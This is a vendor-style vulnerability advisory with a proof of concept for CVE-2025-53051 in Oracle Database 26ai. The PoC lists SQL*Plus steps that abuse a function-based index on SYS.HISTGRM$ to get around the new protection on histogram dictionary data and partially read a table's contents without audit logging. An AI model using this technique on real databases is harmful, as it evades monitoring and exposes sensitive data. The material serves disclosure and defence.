Title: Oracle 26ai Histogram Dictionary Vulnerability [CVE-2025-53051] Product: Database Manufacturer: Oracle Affected Version(s): 26ai Tested Version(s): 26ai Risk Level: Medium/Low Solution Status: Fixed CVE Reference: CVE-2025-53051 Base Score: 2.7 Author of Advisory: Emad Al-Mousa ***************************************** Introduction: In Oracle 26ai a new security enhancement and feature is to restrict powerful account as SYS from viewing histogram dictionary data. In the past, a DBA/System Admin can bypass sensitive table traditional auditing/monitoring with histogram data viewership unless database vault security feature is used (licensed product). In addition attempting to view/query the below system tables will be logged per ORA$DICTIONARY_SENS_COL_ACCESS security policy in 26ai: SYS.HIST_HEAD$ SYS.HISTGRM$ SYS.WRI$_OPTSTAT_HISTHEAD_HISTORY SYS.WRI$_OPSTAT_HISTGRM_HISTORY ***************************************** Proof of Concept (PoC): The objective is to partially view data from an existing database table under HR schema called T1, through histogram data that is being blocked from SYS account. sqlplus / as sysdba SQL> alter session set container=FREEPDB1; SQL> shutdown immediate; Pluggable Database closed. SQL> startup upgrade; Pluggable Database opened. SQL> create index SYS.HIST_MAL_IDXX on HISTGRM$(SYS.dump_data(OBJ#||','||COL#||','|| ROW#||','||ENDPOINT||','||SPARE1)); Index created. SQL> drop index SYS.HIST_MAL_IDXX; SQL> startup force; // checking the table T1 object id value: SQL> select * from SYS.OBJ$ where NAME= 'T1'; // I will now query the data in the dumped table to view the histogram data of the column based on Table T1 object ID number: SQL> select * from data_dump where value like '%71582%'; more detail and extensive description can be found here: https://databasesecurityninja.wordpress.com/2026/10/18/oracle-26ai-histogram-dictionary-vulnerability-through-function-based-index-cve-2025-53051/ ***************************************** References: https://databasesecurityninja.wordpress.com/2026/10/18/oracle-26ai-histogram-dictionary-vulnerability-through-function-based-index-cve-2025-53051/ https://www.oracle.com/security-alerts/cpuoct2025.html https://github.com/emad-almousa/CVE-2025-53051 https://nvd.nist.gov/vuln/detail/cve-2025-53051